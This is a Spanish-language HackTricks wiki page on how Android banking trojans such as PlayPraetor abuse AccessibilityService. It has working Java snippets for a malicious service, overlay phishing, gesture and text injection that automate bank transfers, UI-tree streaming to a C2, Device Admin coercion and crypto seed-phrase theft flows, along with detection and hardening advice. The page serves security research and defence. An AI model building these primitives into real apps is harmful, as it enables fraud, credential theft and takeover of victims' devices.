hacktricks/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

12 KiB
Raw Blame History

Abuso del Accessibility Service en Android

{{#include ../../banners/hacktricks-training.md}}

Resumen

AccessibilityService fue creado para ayudar a usuarios con discapacidades a interactuar con dispositivos Android. Desafortunadamente, las mismas potentes APIs de automatización (navegación global, entrada de texto, envío de gestos, ventanas overlay…) pueden ser aprovechadas por malware para obtener control remoto completo del dispositivo sin privilegios de root.

Los troyanos bancarios modernos para Android y los Remote-Access-Trojans (RATs) como PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda y muchos otros siguen la misma receta:

  1. Social-engineer a la víctima para que habilite un servicio de accessibility malicioso (el permiso BIND_ACCESSIBILITY_SERVICE se considera "de alto riesgo" y requiere una acción explícita del usuario).
  2. Aprovechar el servicio para
  • capturar cada evento de UI y texto que aparece en pantalla,
  • inyectar gestos sintéticos (dispatchGesture) y acciones globales (performGlobalAction) para automatizar cualquier tarea que el operador desee,
  • dibujar overlays a pantalla completa sobre apps legítimas usando el tipo de ventana TYPE_ACCESSIBILITY_OVERLAY (¡sin el prompt de SYSTEM_ALERT_WINDOW!),
  • conceder silenciosamente permisos runtime adicionales haciendo clic en los diálogos del sistema en nombre de la víctima.
  1. Exfiltrar datos o realizar On-Device-Fraud (ODF) en tiempo real mientras el usuario está viendo una pantalla perfectamente normal.

Solicitar el permiso

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

El XML complementario define cómo se verá el diálogo falso:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitivas de automatización de UI remota

public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Con solo estas dos APIs un atacante puede:

  • Desbloquear la pantalla, abrir la app bancaria, navegar su árbol de UI y enviar un formulario de transferencia.
  • Aceptar cada diálogo de permisos que aparezca.
  • Instalar/actualizar APKs adicionales vía el intent de Play Store.

Patrones de abuso

1. Overlay Phishing (Credential Harvesting)

Se añade un WebView transparente u opaco al window manager:

WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

La víctima escribe credenciales en el formulario falso mientras la app en segundo plano recibe los mismos gestos: nunca se muestra el sospechoso aviso "draw over other apps".

Ejemplo detallado: la sección Accessibility Overlay Phishing dentro de la página Tapjacking.

2. Automatización de fraude en el dispositivo

Familias de malware como PlayPraetor mantienen un canal WebSocket persistente donde el operador puede emitir comandos de alto nivel (init, update, alert_arr, report_list, …). El servicio traduce esos comandos en los gestos de bajo nivel descritos arriba, logrando transacciones no autorizadas en tiempo real que eluden fácilmente la autenticación multifactor ligada a ese mismo dispositivo.

3. Transmisión y monitorización de pantalla

Combinando la MediaProjection API con una librería cliente RTMP, el RAT puede emitir el framebuffer en vivo a rtmp://<c2>:1935/live/<device_id>, dando al adversario una conciencia situacional perfecta mientras el motor de Accessibility maneja la interfaz de usuario.


PlayPraetor flujo de trabajo de command & control

  1. HTTP(S) heartbeat iterar sobre una lista codificada hasta que un dominio responda POST /app/searchPackageName con el C2 activo.
  2. WebSocket (port 8282) comandos JSON bidireccionales:
  • update enviar nuevas conf/APKs
  • alert_arr configurar plantillas de overlay
  • report_list enviar lista de nombres de paquetes objetivo
  • heartbeat_web mantener la conexión
  1. RTMP (port 1935) transmisión de pantalla/video en vivo.
  2. REST exfiltration
  • /app/saveDevice (huella)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (credenciales bancarias)

El AccessibilityService es el motor local que convierte esos comandos en la nube en interacciones físicas.


Detectando servicios de accesibilidad maliciosos

  • adb shell settings get secure enabled_accessibility_services
  • Ajustes → Accesibilidad → Servicios descargados busca apps que no provengan de Google Play.
  • Las soluciones MDM / EMM pueden imponer ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) para bloquear servicios instalados fuera de Google Play.
  • Analiza los servicios en ejecución:
adb shell dumpsys accessibility | grep "Accessibility Service"

Recomendaciones de hardening para desarrolladores de apps

  • Marcar vistas sensibles con android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combina setFilterTouchesWhenObscured(true) con FLAG_SECURE para prevenir tap/overlay hijacking.
  • Detecta overlays consultando WindowManager.getDefaultDisplay().getFlags() o la API ViewRootImpl.
  • Rechaza operar cuando Settings.canDrawOverlays() o un Accessibility service no confiable esté activo.

Hoja rápida de automatización ATS (Accessibility-driven)

El malware puede automatizar por completo una app bancaria con solo las Accessibility APIs. Primitivas genéricas:

// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Flujo de ejemplo (checo → etiquetas en inglés):

  • "Nová platba" (Nuevo pago) → hacer clic
  • "Zadat platbu" (Ingresar pago) → hacer clic
  • "Nový příjemce" (Nuevo destinatario) → hacer clic
  • "Domácí číslo účtu" (Número de cuenta nacional) → enfocar y ACTION_SET_TEXT
  • "Další" (Siguiente) → hacer clic → … "Zaplatit" (Pagar) → hacer clic → introducir PIN

Fallback: coordenadas codificadas con dispatchGesture cuando la búsqueda de texto falla debido a widgets personalizados.

También observado: pasos previos a check_limit y limit navegando a la UI de límites y aumentando los límites diarios antes de la transferencia.

Pseudo-transmisión de pantalla basada en texto

Para control remoto de baja latencia, en lugar de transmisión de video completa, volcar una representación textual del árbol de la interfaz de usuario actual y enviarla repetidamente al C2.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Esta es la base para comandos como txt_screen (one-shot) y screen_live (continuous).

Primitivas de coerción de Device Admin

Una vez que un Device Admin receiver está activado, estas llamadas aumentan las oportunidades de capturar credenciales y mantener el control:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Nota: la disponibilidad exacta de estas políticas varía según la versión de Android y el OEM; valida el rol de la política del dispositivo (admin vs owner) durante las pruebas.

Patrones de extracción de seed-phrases de crypto wallets

Flujos observados para MetaMask, Trust Wallet, Blockchain.com y Phantom:

  • Desbloquear con PIN robado (capturado vía overlay/Accessibility) o con la contraseña de wallet proporcionada.
  • Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Recopilar la phrase mediante keylogging de los nodos de texto, secure-screen bypass, o screenshot OCR cuando el texto esté oculto.
  • Soportar múltiples locales (EN/RU/CZ/SK) para estabilizar selectores preferir viewIdResourceName cuando esté disponible, y en su defecto recurrir a coincidencia de texto multilingüe.

Orquestación de NFC-relay

Módulos Accessibility/RAT pueden instalar y lanzar una app dedicada de NFC-relay (p. ej., NFSkate) como tercera etapa e incluso inyectar una guía overlay para conducir a la víctima a través de los pasos de relay con tarjeta presente.

Contexto y TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Referencias

{{#include ../../banners/hacktricks-training.md}}